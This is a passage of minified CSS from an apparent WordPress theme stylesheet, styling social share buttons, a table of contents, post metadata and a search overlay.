i{min-width:unset}.pcnew-share .post-share-plike{padding-left:12px;padding-right:12px}.pcnew-share.border-style.show-txt .penci-social-share-text,.pcnew-share.border-style.show-txt .post-share-plike{height:42px;line-height:42px}.pcnew-share .penci-social-share-text:after,.pcnew-share .penci-social-share-text:before{content:"";width:0;height:0;border-style:solid;border-width:8px 0 8px 8px;border-color:transparent transparent transparent var(--pcborder-cl);position:absolute;top:50%;bottom:50%;left:100%;transform:translateY(-50%)}.pcnew-share .penci-social-share-text:after{border-width:6px 0 6px 6px;border-color:transparent transparent transparent var(--pcbg-cl)}.size-large.pcnew-share .penci-social-share-text{height:60px;line-height:60px}.size-large.pcnew-share.show-txt.txt-below .penci-social-share-text{height:90px;line-height:90px}.penci-social-share-text{vertical-align:middle}.penci-social-share-text i{display:inline-block;vertical-align:middle;margin-right:8px;font-size:14px;transform:translateY(-1px)}.tags-share-box-n19.post-share a.penci-post-like,.tags-share-box-n20.post-share a.penci-post-like{padding-right:0;padding-left:0;margin-left:0;background-color:var(--pcaccent-cl);color:#fff}.pcnew-share.penci-social-colored .post-share-plike i.fa-heart-o{background:0 0!important}.pcnew-share.penci-social-colored .post-share-item.post-share-plike{background-color:var(--pcaccent-cl)}.pcnew-share.penci-social-colored .post-share-item.post-share-plike .count-number-like,.post-share.tags-share-box-n14 .count-number-like{color:#fff}.post-meta-share{position:relative}.post-meta-share:hover .penci-pshare-dropdown{visibility:visible;opacity:1;transform:translateY(10px)}.post-meta-share .post-share-text:before{content:'\f1e0';font-family:FontAwesome;margin-right:5px}.penci-pshare-dropdown a:hover{background:#f1f1f1}.penci-pshare-dropdown{display:block;position:absolute;z-index:9;background:#fff;padding:0;top:100%;left:12px;width:170px;opacity:0;visibility:hidden;transition:.3s all ease-in-out;transform:translateY(40px);box-shadow:0 4px 8px rgba(174,174,174,.5)}.penci-pshare-dropdown a{display:flex;align-items:center;padding:10px 20px;border-bottom:1px solid var(--pcborder-cl);color:var(--pcheading-cl)}.penci-pshare-dropdown a i{transform:unset!important}.penci-header-text-white .post-box-meta-single .penci-pshare-dropdown a span,.penci-pshare-dropdown a span{color:inherit}.penci-pshare-dropdown a:hover{color:var(--pcaccent-cl)}.penci-pshare-dropdown a i{margin-right:5px}.penci-pshare-dropdown a:nth-last-child(-n+2){border-bottom:0}.penci-pshare-dropdown .post-share-expand{display:none}.penci-social-colored a i.fa-facebook,.penci-social-colored a i.fa-facebook-f,.penci-social-colored a i.penciicon-facebook{border-left-color:#0d47a1!important}.penci-social-colored a i.fa-twitter,.penci-social-colored a i.penciicon-twitter,.penci-social-colored a i.penciicon-x-twitter{border-left-color:#40c4ff!important}.penci-social-colored a i.fa-google-plus{border-left-color:#eb4026!important}.penci-social-colored a i.fa-instagram,.penci-social-colored a i.penciicon-instagram{border-left-color:#4d7a9e!important}.penci-social-colored a i.fa-pinterest,.penci-social-colored a i.penciicon-pinterest{border-left-color:#bd081c!important}.penci-social-colored a i.fa-linkedin,.penci-social-colored a i.fa-linkedin-in,.penci-social-colored a i.penciicon-linkedin{border-left-color:#0077b5!important}.penci-social-colored a i.fa-flickr,.penci-social-colored a i.penciicon-flickr{border-left-color:#ff0084!important}.penci-social-colored a i.fa-behance,.penci-social-colored a i.penciicon-behance{border-left-color:#053eff!important}.penci-social-colored a i.fa-tumblr,.penci-social-colored a i.penciicon-tumblr{border-left-color:#34465d!important}.penci-social-colored a i.fa-youtube,.penci-social-colored a i.fa-youtube-play,.penci-social-colored a i.penciicon-youtube{border-left-color:red!important}.penci-social-colored a i.fa-envelope,.penci-social-colored a i.fa-envelope-o,.penci-social-colored a i.penciicon-email{border-left-color:#0084ff!important}.penci-social-colored a i.fa-vk,.penci-social-colored a i.penciicon-vk{border-left-color:#5181b8!important}.penci-social-colored a i.fa-pocket{border-left-color:#ef4056!important}.penci-social-colored a i.fa-skype{border-left-color:#00aff0!important}.penci-social-colored a i.fa-heart{border-left-color:#000!important}.penci-social-colored a i.fa-vine,.penci-social-colored a i.penciicon-vine{border-left-color:#00b98a!important}.penci-social-colored a i.fa-soundcloud,.penci-social-colored a i.penciicon-soundcloud{border-left-color:#f76201!important}.penci-social-colored a i.fa-snapchat,.penci-social-colored a i.fa-snapchat-ghost,.penci-social-colored a i.penciicon-snapchat{border-left-color:#f6f600!important}.penci-social-colored a i.fa-spotify,.penci-social-colored a i.penciicon-spotify{border-left-color:#22c95c!important}.penci-social-colored a i.fa-github,.penci-social-colored a i.penciicon-github{border-left-color:#302f2f!important}.penci-social-colored a i.fa-stack-overflow,.penci-social-colored a i.penciicon-stack-overflow{border-left-color:#f7a000!important}.penci-social-colored a i.fa-twitch,.penci-social-colored a i.penciicon-twitch{border-left-color:#613fa0!important}.penci-social-colored a i.fa-vimeo,.penci-social-colored a i.fa-vimeo-v,.penci-social-colored a i.penciicon-vimeo{border-left-color:#00a8e8!important}.penci-social-colored a i.fa-steam,.penci-social-colored a i.penciicon-steam{border-left-color:#bcbab8!important}.penci-social-colored a i.fa-xing,.penci-social-colored a i.penciicon-xing{border-left-color:#007c7c!important}.penci-social-colored a i.fa-whatsapp,.penci-social-colored a i.penciicon-whatsapp{border-left-color:#00e676!important}.penci-social-colored a i.fa-heart-o{border-left-color:var(--pcaccent-cl)!important}.penci-social-colored a i.fa-telegram,.penci-social-colored a i.penciicon-telegram{border-left-color:#289fd9!important}.penci-social-colored a i.fa-reddit-alien,.penci-social-colored a i.penciicon-reddit{border-left-color:#f74300!important}.penci-social-colored a i.fa-odnoklassniki,.penci-social-colored a i.penciicon-odnoklassniki{border-left-color:#f18f00!important}.penci-social-colored a i.fa-500px{border-left-color:#0af!important}.penci-social-colored a i.fa-stumbleupon,.penci-social-colored a i.penciicon-stumbleupon{border-left-color:#eb4823!important}.penci-social-colored a i.fa-weixin,.penci-social-colored a i.penciicon-wechat{border-left-color:#0fc91c!important}.penci-social-colored a i.fa-weibo,.penci-social-colored a i.penciicon-sina-weibo{border-left-color:#df152c!important}.penci-social-colored a i.fa-rss,.penci-social-colored a i.penciicon-rss{border-left-color:#f0941a!important}.penci-social-colored a i.fa-line,.penci-social-colored a i.penci-icon-line,.penci-social-colored a i.penciicon-line,.penci-social-colored a i.penciicon-line-1{border-left-color:#01b901!important}.penci-social-colored a i.fa-viber,.penci-social-colored a i.penci-icon-viber,.penci-social-colored a i.penciicon-viber,.penci-social-colored a i.penciicon-viber-1{border-left-color:#7d51a0!important}.penci-social-colored a i.fa-discord,.penci-social-colored a i.penci-icon-discord,.penci-social-colored a i.penciicon-discord,.penci-social-colored a i.penciicon-discord-1{border-left-color:#7289da!important}.penci-social-colored a i.fa-slack,.penci-social-colored a i.penciicon-slack{border-left-color:#611f69!important}.penci-social-colored a i.fa-mixcloud{border-left-color:#f3b2a6!important}.penci-social-colored a i.fa-goodreads,.penci-social-colored a i.penci-icon-goodreads,.penci-social-colored a i.penciicon-goodreads{border-left-color:#8a5724!important}.penci-social-colored a i.fa-tripadvisor,.penci-social-colored a i.penciicon-tripadvisor{border-left-color:#34e0a1!important}.penci-social-colored a i.fa-tiktok,.penci-social-colored a i.penci-icon-tiktok,.penci-social-colored a i.penciicon-tik-tok,.penci-social-colored a i.penciicon-tik-tok-1{border-left-color:#fe2c55!important}.penci-social-colored a i.penciicon-douban-logo{border-left-color:#00b51d!important}.penci-social-colored a i.penciicon-qq-social-logo-of-a-penguin{border-left-color:#4292ff!important}.penci-social-colored a i.penciicon-letter-d{border-left-color:#000!important}.penci-social-colored a i.penciicon-blogger,.penci-social-colored a i.penciicon-blogger-1{border-left-color:#ed7800!important}.penci-social-colored a i.fa-delicious{border-left-color:#0078f0!important}.penci-social-colored a i.penciicon-deviantart,.penci-social-colored a i.penciicon-deviantart-1{border-left-color:#01ca3a!important}.penci-social-colored a i.fa-digg{border-left-color:#005be2!important}.penci-social-colored a i.penciicon-evernote,.penci-social-colored a i.penciicon-evernote-1{border-left-color:#00a32c!important}.penci-social-colored a i.penciicon-forrst,.penci-social-colored a i.penciicon-forrst-1{border-left-color:#054958!important}.penci-social-colored a i.penciicon-grooveshark,.penci-social-colored a i.penciicon-grooveshark-1{border-left-color:#f75421!important}.penci-social-colored a i.penciicon-lastfm{border-left-color:#e31b23!important}.penci-social-colored a i.penciicon-myspace,.penci-social-colored a i.penciicon-myspace-logo{border-left-color:#0037c1!important}.penci-social-colored a i.fa-paypal,.penci-social-colored a i.penciicon-brand{border-left-color:#0070ba!important}.penci-social-colored a i.fa-skype,.penci-social-colored a i.penciicon-skype{border-left-color:#00aff0!important}.penci-social-colored a i.fa-windows,.penci-social-colored a i.penciicon-windows{border-left-color:#00adef!important}.penci-social-colored a i.fa-wordpress,.penci-social-colored a i.penciicon-wordpress-logo{border-left-color:#21759b!important}.penci-social-colored a i.penciicon-yahoo-logo{border-left-color:#6001d2!important}.penci-social-colored a i.penciicon-y{border-left-color:#fc401d!important}.penci-social-colored a i.fa-get-pocket{border-left-color:#e83c53!important}.pcnew-share.border-style .post-share-item i{color:#000}.post-box-meta-single .pcmt-icon{text-align:center!important;margin-right:5px}.post-box-meta-single .pcmt-icon i{vertical-align:baseline;line-height:inherit}.post-box-meta-single.style-s1 .pcmt-icon,.post-box-meta-single.style-s2 .pcmt-icon,.post-box-meta-single.style-s3 .pcmt-icon,.post-box-meta-single.style-s4 .pcmt-icon{width:24px;height:24px;line-height:24px}.post-box-meta-single.style-s1 .pcmt-icon{background-color:#000;color:#fff}.post-box-meta-single.style-s2 .pcmt-icon{background-color:#000;color:#fff;border-radius:50px!important}.post-box-meta-single.style-s3 .pcmt-icon{background-color:#000;color:#fff;position:relative}.post-box-meta-single.style-s3 .pcmt-icon:after{content:"";position:absolute;width:0;height:0;border-style:solid;border-width:4px 0 4px 3px;border-color:transparent transparent transparent #000;top:50%;bottom:auto;left:100%;transform:translateY(-50%)}.post-box-meta-single.style-s4 .pcmt-icon{border:1px solid var(--pcborder-cl)!important;position:relative}.post-box-meta-single.style-s4 .pcmt-icon:before{content:"";position:absolute;width:0;height:0;border-style:solid;border-width:4px 0 4px 4px;border-color:transparent transparent transparent #fff;top:calc(50% - 4px);bottom:50%;right:-4px;z-index:2}.post-box-meta-single.style-s4 .pcmt-icon:after{content:"";position:absolute;width:0;height:0;border-style:solid;border-width:6px 0 6px 6px;border-color:transparent transparent transparent var(--pcborder-cl);top:calc(50% - 6px);bottom:50%;right:-6px;z-index:1}.tags-share-box.post-share .auto-hidden{display:none!important}.tags-share-box.post-share .auto-hidden.active{display:inline-block!important}.pcnew-share .post-share-item{margin-bottom:8px!important}.pctmp-term-list.label-style-s1 .term-labels,.pctmp-term-list.term-style-s1 .pctmp-term-item{text-transform:uppercase;color:var(--pcmeta-cl);padding:6px 12px 5px;margin-right:8px;margin-bottom:8px;display:inline-block;font-size:11px;background:0 0;border:1px solid var(--pcborder-cl);transition:all .3s;-webkit-transition:all .3s;-moz-transition:all .3s;outline:0;font-weight:400;line-height:1.2}.pctmp-term-list .term-labels i,.pctmp-term-list .term-labels svg{vertical-align:middle;margin-right:3px}.pctmp-term-list .term-labels svg{width:auto;max-height:10px;display:inline-block}.pctmp-term-list.label-style-s2 .term-labels,.pctmp-term-list.label-style-s3 .term-labels,.pctmp-term-list.label-style-s4 .term-labels,.pctmp-term-list.term-style-s2 .pctmp-term-item,.pctmp-term-list.term-style-s3 .pctmp-term-item,.pctmp-term-list.term-style-s4 .pctmp-term-item{padding:6px 12px;border:1px solid var(--pcborder-cl);color:#000;margin-left:8px;margin-bottom:8px;text-transform:uppercase;font-size:11px}.pctmp-term-list.label-style-s3 .term-labels,.pctmp-term-list.term-style-s3 .pctmp-term-item{border-radius:50px}.pctmp-term-list.label-style-s4 .term-labels,.pctmp-term-list.term-style-s4 .pctmp-term-item{border:0;border-bottom:2px solid var(--pcborder-cl);background-color:#f1f1f1}.pctmp-term-list .pctmp-term-item.current-item,.pctmp-term-list .pctmp-term-item:hover,.pctmp-term-list.term-style-s4 .pctmp-term-item.current-item,.pctmp-term-list.term-style-s4 .pctmp-term-item:hover{border-color:var(--pcaccent-cl);background-color:var(--pcaccent-cl);color:#fff}.tags-share-box.post-share{position:relative;background:var(--pcbg-cl);z-index:1}.item.hentry .post-share-item.post-share-expand,.item.hentry .post-share-item.post-share-plike,.penci-featured-share-box .post-share-expand{display:none!important}.post-share-item.post-share-expand{visibility:hidden}body:not(.rtl) .post-share-item.post-share-expand{margin-right:0!important}body.rtl .post-share-item.post-share-expand{margin-left:0!important}.post-share-item.post-share-expand.showing{visibility:visible}.post-share-item.post-share-expand.hidden{display:none}.pcnew-share.size-large.penci-icon-full .post-share-item.post-share-expand i,.penci-social-colored .post-share-item.post-share-expand i,.tags-share-box.tags-share-box-s2 .post-share-item.post-share-expand{background-color:var(--pctext-cl);color:var(--pcbg-cl)}.pcnew-share.size-large.penci-icon-full .post-share-item.post-share-expand i:after,.penci-social-colored .post-share-item.post-share-expand i:after{display:none}.tags-share-box.tags-share-box-s2 .post-share-item.post-share-plike .count-number-like,.tags-share-box.tags-share-box-s2 .post-share-item.post-share-plike a{color:#fff}.pcnew-share:not(.penci-icon-full) .post-share-item.post-share-expand{padding-left:0;padding-right:0;font-size:15px}.tags-share-box-s1 .post-share-item{background-color:transparent!important}.tags-share-box.tags-share-box-2_3 .post-share-expand i{transform:translateY(-1px)}.pcnew-share .post-share-expand i{transform:translateY(1px)}.pcnew-share.penci-icon-full .post-share-expand i{transform:none}.pcnew-share.no-spacing .post-share-expand i{transform:none}.tags-share-box{white-space:nowrap;opacity:0;transition:opacity .15s ease-in-out}.tags-share-box.showing-hidden{white-space:normal}.tags-share-box.tags-share-box-s1{opacity:1;white-space:normal}.tags-share-box .new-ver-share:hover{z-index:4}.tags-share-box .post-share-item.post-share-plike a:after{display:none}.show-txt.txt-below.size-large.post-share a.post-share-expand,.show-txt.txt-below.size-large.post-share a.post-share-expand i{line-height:90px}.penci-social-colored a i.fa-get-pocket{background:#e83c53}.pcsb-cml .post-comments .post-title-box{padding-top:0;border-top:0}.penci-standard-cat.s1 .penci-cat-name:after,.penci-standard-cat.s2 .penci-cat-name:after,.penci-standard-cat.s3 .penci-cat-name:after,.penci-standard-cat.s4 .penci-cat-name:after{display:none}.penci-standard-cat.s1 .cat>.penci-cat-name,.penci-standard-cat.s2 .cat>.penci-cat-name,.penci-standard-cat.s3 .cat>.penci-cat-name,.penci-standard-cat.s4 .cat>.penci-cat-name{padding:2px 8px;background:#fff;color:var(--pcheading-cl);border-radius:3px;display:inline-block;box-shadow:1px 1px 1px rgba(55,55,55,.5)}.penci-standard-cat.s2 .cat>.penci-cat-name{background-color:var(--pcaccent-cl);color:#fff}.penci-standard-cat.s3 .cat>.penci-cat-name{background-color:#000;color:#fff}.penci-standard-cat.s4 .cat>.penci-cat-name{background-color:transparent;border:1px solid var(--pcheading-cl);color:var(--pcheading-cl);padding:2px 8px}.penci-standard-cat.s1 .cat>.penci-cat-name:hover,.penci-standard-cat.s2 .cat>.penci-cat-name:hover,.penci-standard-cat.s3 .cat>.penci-cat-name:hover{opacity:.85}.penci-standard-cat.s4 .cat>.penci-cat-name:hover{border-color:var(--pcaccent-cl);background-color:var(--pcaccent-cl);color:#fff}.penci-toc-wrapper{border:1px solid var(--pcborder-cl);padding:20px 25px 15px;margin-bottom:20px;max-width:320px;width:100%;background-color:var(--pcbg-cl)}.penci-aw-sticky .entry-content .penci-toc-wrapper{display:none}@media only screen and (max-width:767px){.penci-toc-wrapper{max-width:unset!important}}.penci-toc-wrapper.penci-toc-default{max-width:unset}.penci-sticky-toc{position:fixed;transition:.3s all ease-in-out;max-width:270px;width:100%;top:120px;z-index:99999}.penci-sticky-toc.sticky-disable{display:none}.penci-sticky-toc.sticky-bottom{top:auto;bottom:40px}.penci-sticky-toc.sticky-left{opacity:0;visibility:hidden;left:10px}.penci-sticky-toc{opacity:0;visibility:hidden;transition:.3s all ease-in-out}.penci-sticky-toc.tocSticky{opacity:1;visibility:visible}.penci-sticky-toc.sticky-right{right:10px}.tocSticky .dis-toggle.penci-toc-wrapper.hide-table .penci-toc-head{margin-bottom:15px}.penci-toc-wrapper .penci-toc-title{padding-right:30px}@media only screen and (max-width:767px){.penci-toc-container-wrapper{z-index:1}.penci-sticky-toc{top:120px;bottom:0;z-index:999999}.penci-sticky-toc.sticky-left{left:15px}.penci-sticky-toc.sticky-right{right:15px}.penci-sticky-toc.sticky-bottom{bottom:120px;top:auto}.penci-sticky-toc.hide-table{z-index:1;max-width:50px}.penci-toc-container-wrapper.tocSticky.sticky-right .penci-toc-wrapper.hide-table{position:absolute;right:0}.penci-toc-container-wrapper.tocSticky .penci-toc-wrapper.hide-table .penci-toc-title{max-width:0;display:block;visibility:hidden;max-height:0}.penci-toc-container-wrapper.tocSticky .penci-toc-wrapper span.penci-toc-title-toggle{top:14px}.penci-toc-container-wrapper.tocSticky .penci-toc-wrapper.hide-table{padding:10px}.penci-toc-container-wrapper.tocSticky .penci-toc-wrapper.hide-table span.penci-toc-title-toggle{top:0;right:0;transform:unset}}.penci-toc-wrapper.s2{border-radius:5px;background-color:var(--pcbg-cl);box-shadow:0 1px 4px 3px rgba(0,0,0,.05)}.penci-toc-wrapper .penci-toc-title{margin:0;font-size:18px;font-weight:var(--pchead-wei)}.penci-toc-wrapper .penci-toc-head{position:relative;margin-bottom:15px;min-height:28px}.penci-toc-wrapper.s3 .penci-toc-head{margin-bottom:5px}.penci-toc-wrapper .penci-toc-title-toggle{width:28px;height:28px;background-color:var(--pcmeta-cl);color:var(--pcbg-cl);position:absolute;line-height:28px;right:0;display:inline-block;vertical-align:middle;text-align:center;top:50%;transform:translateY(-50%)}.penci-toc-wrapper.s2 .penci-toc-title-toggle{border-radius:5px;background-color:var(--pcaccent-cl);color:#fff}.penci-toc-wrapper .penci-toc-title-toggle:hover{text-decoration:none}.penci-toc-wrapper .penci-toc-title-toggle:before{font-family:penciicon!important;font-size:13px;content:"\f174"}.penci-toc-wrapper.show-table .penci-toc-title-toggle:before{content:"\f175"}.penci-toc-wrapper.hide-table .penci-toc-title-toggle:before{content:"\f174"}.penci-toc-wrapper.dis-toggle .penci-toc-title-toggle:before{font-size:16px;content:"\f172"!important}.penci-toc-wrapper.hide-table .penci-toc-head{margin-bottom:0}.penci-toc-wrapper .penci-toc>ul{border-top:0;padding-top:5px;margin-top:5px}.post-entry .penci-toc-wrapper ul,.post-entry .penci-toc-wrapper ul>li{list-style:none;margin:0;padding-left:0;padding-right:0}.penci-toc-wrapper.counter-flat .penci-toc ul li{border-top:1px solid var(--pcborder-cl)}.penci-toc-wrapper ul li{margin-bottom:0}.penci-toc-wrapper.style-number ul,.penci-toc-wrapper.style-number ul li{list-style:decimal outside;padding-left:10px}.penci-toc-wrapper.style-bullets ul,.penci-toc-wrapper.style-bullets ul li{list-style:square outside;padding-left:10px}.penci-toc-wrapper.style-number ul li::marker{font-weight:700}.post-entry .penci-toc ul{list-style:none;margin:0;padding:0}.post-entry .penci-toc ul li a{padding-top:8px;padding-bottom:8px}.post-entry .penci-toc ul ul{padding:0 0 2px 10px;border-top:1px solid var(--pcborder-cl)}.post-entry .penci-toc ul ul ul{border:0}nav.penci-toc{max-height:calc(100vh - 230px);overflow:auto}.entry-content nav.penci-toc{max-height:500px}.penci-toc ul ul{padding-left:10px}.penci-toc>ul>li:not(:first-child),.penci-toc>ul>li:not(:last-child){border-top:1px solid var(--pcborder-cl)}.penci-toc ul li:last-child>a{border:0}.penci-toc ul ul li:last-child>a{border-bottom:0}.penci-toc ul li:last-child{border-bottom:0}.penci-toc ul a{display:block;padding:2px 0;font-size:14px;font-weight:700;color:var(--pctext-cl);opacity:.82;text-decoration:none;transition:all .3s}.penci-toc ul a:hover,.penci-toc ul li.active>a{text-decoration:none;color:var(--pcaccent-cl);opacity:1}.penci-toc ul ul a{font-size:14px;font-weight:400}.penci-toc-wrapper .penci-toc ul,.penci-toc-wrapper.counter-numeric .penci-toc>ul{counter-reset:item}.penci-toc-wrapper.counter-decimal .penci-toc ul li a:before{content:counters(item, ".") ". ";display:inline-block;counter-increment:item;margin-right:.2em}.penci-toc-wrapper.counter-roman .penci-toc ul li a:before{content:counters(item, ".", upper-roman) ". ";counter-increment:item;margin-right:.2em}.penci-toc-wrapper.counter-numeric .penci-toc ul li a:before{content:counters(item, ".") " ";counter-increment:item;margin-right:.2em}.penci-toc-wrapper.s3{background-color:#f1f1f1}.penci-toc-wrapper.s3 ul,.penci-toc-wrapper.s3 ul li,.penci-toc-wrapper.s3 ul li a{border:0!important;padding-bottom:1px;padding-top:1px}.penci-toc-wrapper.penci-toc-wrap-left{float:left;margin:0 30px 20px 0}.penci-toc-wrapper.penci-toc-wrap-right{float:right;margin:0 0 20px 30px}.sticky-wrapper .penci-toc-wrapper{left:30px}.showing-hidden .post-share-expand i.penciicon-add:before{content:"\f178"}.pcsb-ptitle .header-standard{margin-bottom:0;overflow:hidden}.pcsb-ptitle .header-standard.align-left{text-align:left}.pcsb-ptitle .header-standard.align-left:after{left:30px}.pcsb-ptitle .header-standard.align-right{text-align:right}.pcsb-ptitle .header-standard.align-right:after{right:0;left:auto}.pcsb-share .tags-share-box{margin-bottom:0}.pcsb-share .tags-share-box.post-share{position:relative;top:0}.pcab-adesc .post-entry p,.pcab-atitle .post-entry p{line-height:1.6}.pcab-abrcrb .container.penci-breadcrumb,.pcab-adesc .post-entry,.pcab-adesc .post-entry>p:last-child,.pcab-atitle .archive-box,.pcab-atitle .post-entry>p:last-child{margin-bottom:0}.pcab-atitle .post-entry.pcdcp-after{margin:15px 0 0}.pcab-atitle .post-entry.pcdcp-before{margin:0 0 15px}.pcab-abrcrb .container.penci-breadcrumb{margin-top:0}.pcsb-brcrb .container.penci-breadcrumb,.pcsb-ft .post-image,.pcsb-meta .post-box-meta-single,.pcsb-pnavi .post-pagination{margin-top:0;margin-bottom:0;border:0}.pcsb-brcrb .container{width:100%}.pcsb-pnavi .post-pagination{padding-top:0;padding-bottom:0}.pcsb-pnavi .post-pagination.default-ratio .penci-post-nav-thumb{height:56px!important}.pcsb-ft-o .container.penci-breadcrumb{margin-top:0}.pcsb-ft-o .header-standard.header-classic{margin-bottom:0}.pcsb-ft-o .post-image{margin-bottom:0}.pcsb-ft-o .penci-move-title-above:after{content:"";position:absolute;top:0;left:0;width:100%;height:100%;background:#000;z-index:1;bottom:0;right:0;background:linear-gradient(to bottom,transparent 50%,#000 90%);opacity:.7;transition:.3s}.pcsb-ft-o .cat>a.penci-cat-name,.pcsb-ft-o .container.penci-breadcrumb i,.pcsb-ft-o .container.penci-breadcrumb span,.pcsb-ft-o .container.penci-breadcrumb span a,.pcsb-ft-o .header-standard .author-post span,.pcsb-ft-o .header-standard .author-post span a,.pcsb-ft-o .header-standard .post-title,.pcsb-ft-o .header-standard h2,.pcsb-ft-o .header-standard h2 a,.pcsb-ft-o .pc_titlebig_standard,.pcsb-ft-o .pc_titlebig_standard a,.pcsb-ft-o .penci-container-inside.penci-breadcrumb i,.pcsb-ft-o .penci-container-inside.penci-breadcrumb span,.pcsb-ft-o .penci-container-inside.penci-breadcrumb span a,.pcsb-ft-o .post-box-meta-single a,.pcsb-ft-o .post-box-meta-single span,.pcsb-ft-o .post-box-meta-single span i{color:#fff}.pcsb-ft-o h2.penci-psub-title{letter-spacing:0;text-transform:none;font-size:18px;line-height:1.3;margin:8px 0}.pcsb-share .tags-share-box,.pcsb-share .tags-share-box.center-box{border:0;padding:0;margin:0}.elementor-widget-penci-single-related-posts .post-related{padding:0}.post-box-meta-single .author-url img{vertical-align:middle;border-radius:50%}.gradient-enable .post-title span,.gradient-enable.penci-psub-title span{-webkit-background-clip:text;-webkit-text-fill-color:transparent}.pcsb-pnavi .post-pagination .next-post,.pcsb-pnavi .post-pagination .prev-post{display:flex;align-items:center}.pcsb-pnavi .post-pagination .next-post{flex-direction:row-reverse}@media only screen and (max-width:767px){.pcsb-pnavi .post-pagination .next-post,.pcsb-pnavi .post-pagination .prev-post{width:100%!important;text-align:center;display:block}.pcsb-pnavi .post-pagination h5,.pcsb-pnavi .post-pagination h5.next-title{padding:0}}.post-share.pcnew-share .count-number-like,.post-share.tags-share-box-2_3.post-share .count-number-like,.tags-share-box.tags-share-box-2_3.post-share .post-share-item .penci-post-like{color:#fff}.post-share.pcnew-share.border-style .count-number-like{color:var(--pcheading-cl)}.pcab-abox .title-bar{position:relative;padding-bottom:15px;overflow:hidden}.pcab-abox .title-bar:after{content:"";position:absolute;width:60px;height:1px;background:var(--pcaccent-cl);display:block;bottom:0}.pcab-abox .title-bar.align-center:after{left:50%;margin-left:-30px}.pcab-abox .title-bar.align-center{text-align:center}.pcab-abox .title-bar.align-left{text-align:left}.pcab-abox .title-bar.align-left:after{left:0}.pcab-abox .title-bar.align-right{text-align:right}.pcab-abox .title-bar.align-right:after{right:0}.max-lv-1 ul ul{display:none}.max-lv-2 ul ul ul{display:none}.max-lv-3 ul ul ul ul{display:none}.max-lv-4 ul ul ul ul ul{display:none}.max-lv-5 ul ul ul ul ul ul{display:none}.pccustom-template-enable #header,.pccustom-template-enable .pc-wrapbuilder-header,.single-archive-template #header,.single-custom-post-template #header,.single-custom-post-template .pc-wrapbuilder-header{margin-bottom:0!important}.pccustom-template-enable .clear-footer,.single-archive-template .clear-footer,.single-custom-post-template .clear-footer{height:0;margin-bottom:0}.pcsb-athor .abio-style-2,.pcsb-athor .abio-style-3,.pcsb-athor .abio-style-4,.pcsb-cmf #respond,.pcsb-cmf .comment-respond,.pcsb-mct .post-entry{margin-bottom:0!important}.pcsb-athor .post-author:not(:last-child){margin-bottom:30px}.pcsb-cmf .no-comment-yet h3.comment-reply-title{padding-top:0!important;border-top:0}.pcsb-athor .abio-style-1{border:none;padding:0}@media only screen and (max-width:767px){.pcsb-athor .abio-style-1.post-author .author-img,.pcsb-athor .abio-style-2.post-author .author-img{float:none;display:block;margin-left:auto;margin-right:auto}.pcsb-athor .abio-style-1.post-author .author-content,.pcsb-athor .abio-style-2.post-author .author-content{margin-left:0!important;text-align:center;margin-top:10px}}.header-search-style-overlay .show-search{display:block!important;visibility:hidden;opacity:0;transition:.3s all;transform:scale(.95)}body.search-open .header-search-style-overlay .show-search.active{visibility:visible;opacity:1;transform:scale(1)}.header-search-style-overlay .show-search{position:fixed;top:0;bottom:0;left:0;right:0;background-color:rgba(0,0,0,.95);z-index:99999999;width:100vw;height:100vh!important}.header-search-style-overlay .show-search .penci-search-form,.header-search-style-overlay .show-search form.pc-searchform{width:100%;max-width:600px;margin-left:auto;margin-right:auto;padding-left:15px;padding-right:15px;top:50%;transform:translateY(-50%);position:relative;transition:.3s transform ease-in-out}.header-search-style-overlay .show-search .penci-search-form.has-search-items{transform:translateY(calc((50% + 125px) * -1))}.header-search-style-overlay .show-search form.pc-searchform .pc-searchform-inner{padding:5px 0;border-bottom:1px solid rgba(255,255,255,.2)}.header-search-style-overlay .show-search form.pc-searchform.penci-ajax-search .pc-searchform-inner{width:100%}.header-search-style-overlay .show-search .penci-search-form input.s,.header-search-style-overlay .show-search form.pc-searchform input.search-input{position:static;color:#fff;font-size:38px;line-height:75px;font-weight:700;width:90%}.header-search-style-overlay .show-search .penci-search-form form{border:0;padding:0}.header-search-style-overlay .show-search .penci-search-form form button{border:0;background:0 0;padding:0}.header-search-style-overlay .show-search .search-results-wrapper{top:10px;transform:translateY(-45px);--pcajs_tcl:#fff;--pcbg-cl:#000;--pcborder-cl:rgba(255, 251, 2, 0.25);--pcajs_bcl:rgba(255, 255, 255, 0.1)}.header-search-style-overlay .show-search .search-results-wrapper .view-all-results{background-color:#000;color:var(--pcajs_tcl)}.header-search-style-overlay .show-search .search-results-wrapper .view-all-results:hover{color:var(--pcaccent-cl)}.header-search-style-overlay .show-search .search-results-wrapper .penci-dropdown-results{background-color:transparent}@media only screen and (min-width:1170px){.header-search-style-overlay .show-search .search-results-wrapper .penci-search-results .autocomplete-suggestion{flex:1 1 50%;max-width:50%;padding:5px 20px}}.header-search-style-overlay .show-search .search-results-wrapper .penci-dropdown-results .autocomplete-suggestions{background-color:#121212}.header-search-style-default .show-search.pcajx-search-loading .penci-search-form form button{padding:0;transition:unset}.autocomplete-suggestions{max-height:300px;overflow-y:auto;overflow-x:hidden}.pcbds-overlay .search-results-wrapper .penci-dropdown-results.penci-opened{box-shadow:none!important;-moz-box-shadow:none!important;-webkit-box-shadow:none!important}.header-search-style-overlay .penci-search-form.penci-ajax-search form button:after{width:24px;height:24px;top:calc(50% - 12px);margin:0 0 0 -13px}.header-search-style-overlay .show-search .penci-search-form form button:after,.header-search-style-overlay .show-search .penci-search-form form button:before{font-size:22px;line-height:22px}.header-search-style-overlay .penci-search-form form.penci-ajax-search .pc-eajxsearch button:after{content:"\f108"!important;font-family:penciicon!important;display:block;visibility:visible;animation:none;border:0;margin:0;right:0;top:50%;left:auto;color:var(--pctext-cl);opacity:.9}.header-search-style-overlay .penci-search-form form.penci-ajax-search.search-loading .pc-eajxsearch button:after{visibility:hidden;display:none;opacity:0}.header-search-style-overlay .show-search form.pc-searchform::placeholder{color:#fff}.header-search-style-overlay .show-search a.close-search{color:#fff;font-size:32px;top:30px;right:30px;background:0 0!important;margin:0!important;padding:0!important;border:0!important;height:auto!important;line-height:unset!important;width:auto;transition:.3s all ease-in-out}@media only screen and (max-width:767px){.header-search-style-overlay .show-search a.close-search{top:15px;right:15px}.header-search-style-overlay .show-search form.pc-searchform input.search-input{font-size:28px;padding-top:10px;padding-bottom:10px}}.header-search-style-overlay .show-search a.close-search:hover{opacity:.85}body.pchds-overlay.search-open{overflow:hidden}.penci_nav_row .show-search.active,body.pchds-overlay.search-open .show-search{display:block!important}.penci_search_box_widget input[type=text]{margin:0}.penci_search_box_widget .penci-search-form 